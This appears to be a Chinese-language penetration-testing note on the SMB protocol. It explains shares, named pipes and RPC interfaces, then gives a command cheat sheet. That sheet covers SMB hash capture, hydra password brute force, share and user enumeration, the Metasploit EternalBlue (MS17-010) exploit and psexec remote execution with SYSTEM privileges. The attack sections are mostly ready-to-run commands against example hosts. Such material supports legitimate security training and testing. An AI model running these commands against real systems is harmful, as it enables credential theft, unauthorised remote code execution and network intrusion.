SMB协议
SMB协议是一种通信协议,用于提供文件共享,文件打印,以及带身份验证的进程间通信机制。SMB协议的主要涉及两部分功能:
- 一部分专门涉及对文件系统的访问,以便在网络中共享文件,如访问\IP\share、文件打印。
- 另一部分专门研究进程间通信(IPC),以请求网络中其他机器上的服务,如远程启动服务、启动定时任务等。它是通过共享命名管道(named pipe)来实现进程通信的。
SMB 端口
- SMB : 网络文件共享系统,是一种应用层网络传输协议,主要功能是使网络上的机器可以共享计算机文件、打印机、串行端口和通讯等资源,也提供经过认证的进程间通信技能
- 使用 C/S 架构,工作端口: - \\共享计算机地址\资源路径 : 使用 TCP 协议,445 端口 - \\共享计算机名\资源路径 : 使用 NetBIOS 协议, 139 端口
- SMB 工作流程: 版本协商—> 会话请求凭据 —> 文件路径凭据 —> 对共享资源进行操作
使用 TCP 协议
我们可以看到 189 192 193 是在建立 TCP 连接, 第 194 197 198 是一个版本协商的过程,第 199 200 201 202 是在处理远程登陆凭据, 第一次连接错误,第二次正确, 203 205 是在处理远程文件路径的凭据
Windows Administrative Shares
为了远程管理计算机,SMB自动创建并开启了如下隐藏共享:
- C$: C Drive on the remote machine.
- Admin$: Windows installation directory.
- IPC$: The inter-process communication or IPC share.
- SYSVOL and NETLOGON: domain controller shares.
- PRINT$ and FAX$: printer and fax shares.
net share
或net view \\pc-name /all
可以查看开启的隐藏共享。
IPC$
IPC$并不对应文件夹,而是暴露了一组命名管道,作为与远程机器RPC通信的机制。
下面先介绍DCERPC,再介绍常见的命名管道。
DCERPC
远程过程调用(Remote Procedure Call, RPC)是一种进程间通信(interprocess communication, IPC)机制,它提供在不同进程中进行数据交换和调用的功能。
微软的DCEPRC即是对远程过程调用的一种实现和扩展,DCERPC有多种不同的承载方式,如TCP、UDP、HTTP、SMB命名管道等。客户端通过不同的承载协议连接到指定的服务端,由UUID绑定(Bind)到需要使用的终端接口(endpoint/interface)上,再传递所需参数来调用接口上指定的方法(operation),服务端随后将执行结果封装到协议数据包中返回。
客户端并不知道远程服务所在端口,因此需要先调用RPC Endpoint Mapper(EPM)服务来查询,EPM使用的135端口,对应UUID为E1AF8308-5D1F-11C9-91A4-08002B14A0FA,EPM接口中opnum为3的方法(ept_map)即提供了对某个RPC服务所在位置的查询功能。以dcsync用到Directory Replication Service (DRS) Remote Protocol为例,抓包看一下RPC调用过程。
- SMB认证通过,连接到服务端 IPC$
- 绑定到EPM服务RPC接口
- 查询DRS服务端口
- 获得DRS服务端口信息
- 绑定到DRS服务RPC接口
- drsuapi接口调用
Notable RPC Interfaces
IFID: 12345778-1234-abcd-ef00-0123456789ab
Named Pipe: \pipe\lsarpc
Description: LSA interface, used to enumerate users.
IFID: 3919286a-b10c-11d0-9ba8-00c04fd92ef5
Named Pipe: \pipe\lsarpc
Description: LSA Directory Services (DS) interface, used to enumerate domains and trust relationships.
IFID: 12345778-1234-abcd-ef00-0123456789ac
Named Pipe: \pipe\samr
Description: LSA SAMR interface, used to access public SAM database elements (e.g., usernames) and brute-force user passwords regardless of account lockout policy.
IFID: 1ff70682-0a51-30e8-076d-740be8cee98b
Named Pipe: \pipe\atsvc
Description: Task scheduler, used to remotely execute commands.
IFID: 338cd001-2244-31f1-aaaa-900038001003
Named Pipe: \pipe\winreg
Description: Remote registry service, used to access and modify the system registry.
IFID: 367abb81-9844-35f1-ad32-98f038001003
Named Pipe: \pipe\svcctl
Description: Service control manager and server services, used to remotely start and stop services and execute commands.
IFID: 4b324fc8-1670-01d3-1278-5a47bf6ee188
Named Pipe: \pipe\srvsvc
Description: Service control manager and server services, used to remotely start and stop services and execute commands.
IFID: 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57
Named Pipe: \pipe\epmapper
Description: DCOM interface, used for brute-force password grinding and information gathering via WM.
应用
Samba
:::info 默认配置位置
cat /etc/samba/smb.conf | grep -v "#\|\;"
:::
危险配置:
# 危险设置
browseable = yes # 允许在当前共享中列出可用共享吗
read only = no # 禁止创建和修改文件
writable = yes # 允许用户创建和修改文件
guest ok = yes # 允许在不使用密码的情况下连接到服务
enable privileges = yes # 尊重分配给特定 SID 的特权
create mask = 0777 # 必须为新创建的文件分配什么权限
directory mask = 0777 # 必须为新创建的目录分配什么权限
logon script = script.sh # 用户登录时需要执行什么脚本
magic script = script.sh # 当脚本关闭时应该执行哪个脚本
magic output = script.out # 魔术脚本的输出需要存储在哪里
SMB利用
samba suite
Linux上samba服务套件,除了有samba服务,还有各种基于SMB协议的工具,适合在Linux上访问Windows机器SMB服务。
smbclient(1)
The smbclient program implements a simple ftp-like client. This is useful for accessing SMB shares on other compatible servers (such as Windows NT), and can also be used to allow a UNIX box to print to a printer attached to any SMB server (such as a PC running Windows NT).
rpcclient(1)
rpcclient is a utility that can be used to execute RPC commands on remote CIFS servers.
凭据获取
捕获Hash
use auxiliary/server/capture/smb
msf auxiliary(smb) > set srvhost 192.168.1.109
msf auxiliary(smb) > set johnpwfile /root/Desktop/
msf auxiliary(smb) > exploit
爆破
hydra -L user.txt -P pass.txt 192.168.1.101 smb
SMB Enumeration
hostname
往UDP 137端口发送NetBIOS请求完成
nmblookup -A 192.168.1.17
nbtscan 192.168.1.17
nmap --script nbstat.nse 192.168.1.17
nbtstat -A 192.168.1.17 (Windows自带)
ping -a 192.168.1.17
nmap --script smb-os-discovery 192.168.1.17
Share and Null Session
nmap --script smb-enum-shares -p139,445 192.168.1.17
net view \\192.168.1.17 /All (windows自带)
# MSF
use auxiliary/scanner/smb/smb_enumshares
use post/windows/gather/enum_shares
# smbmap
smbmap -H 192.168.1.40
smbmap -H 192.168.1.17 -u raj -p 123
# crackmapexec
crackmapexec smb 192.168.1.17 -u 'raj' -p '123' --shares
# rpcclient (smbshell)
rpcclient -U dell 192.168.240.148
netshareenum
netshareenumall
# smbclient
smbclient is samba client with an “ftp like” interface. It is a useful tool to test connectivity to a Windows share. It can be used to transfer files, or to look at share names.
smbclient -L 192.168.1.40
smbclient //192.168.1.40/guest
get file.txt
smbclient -L 192.168.1.17 -U raj%123
smbclient //192.168.1.17/share -U raj%123
get raj.txt
# impacket smbclient.py (smbshell)
smbclient.py dell:Test1234@192.168.240.148
shares
Vulnerability Scanning
nmap --script smb-vuln* 192.168.1.16
Users
use auxiliary/scanner/smb/smb_lookupsid
# impacket
python3 lookupsid.py DESKTOP-ATNONJ9/raj:123@192.168.1.17
除了上面的工具,enum4linux把多种需求整合到一起,基于SMB协议能获取各种机器信息。但只能用于信息遍历,不能交互。
远程执行
永恒之蓝
use auxiliary/scanner/smb/smb_ms17_010
msf auxiliary(smb_ms17_010) > set rhosts 192.168.1.128
msf auxiliary(smb_ms17_010) > set rport 445
msf auxiliary(smb_ms17_010) > exploit
use exploit/windows/smb/ms17_010_eternalblue
msf exploit(ms17_010_eternalblue) > set rhost 192.168.1.101
msf exploit(ms17_010_eternalblue) > exploit
psexec
use exploit/windows/smb/psexec
msf exploit windows/smb/psexec) > set rhost 192.168.1.101
msf exploit(windows/smb/psexec) > set smbuser raj
msf exploit(windows/smb/psexec) > set smbpass 123
msf exploit(windows/smb/psexec) > exploit
net use \\win10-pc4\ipc$ “Test1234” /user:dell
psexec.exe \\win10-pc4 cmd.exe
或
PsExec64.exe -accepteula \\win10-pc4 -u dell -p Test1234 cmd.exe (以medium权限启动)
PsExec64.exe -accepteula \\win10-pc4 -u dell -p Test1234 -s cmd.exe (以system权限启动)
PsExec64.exe能在远程机器上执行命令,其原理就是先连接Admin$拷贝PSEXESVC.exe;再调用[MS-SCMR]服务创建远程服务并启动,即启动PSEXESVC.exe;客户端连接执行命令,服务端启动相应的程序并执行回显数据。
文件共享
server
sudo apt install impacket-scripts
impacket-smbserver share /root/Downloads/test -smb2support
或
pip install impacket
python3 smbserver.py share /root/test -smb2support
client
smbclient -L 192.168.1.21 -U raj%123
smbclient //192.168.1.21/share -U raj%123
windows上直接explorer访问目录即可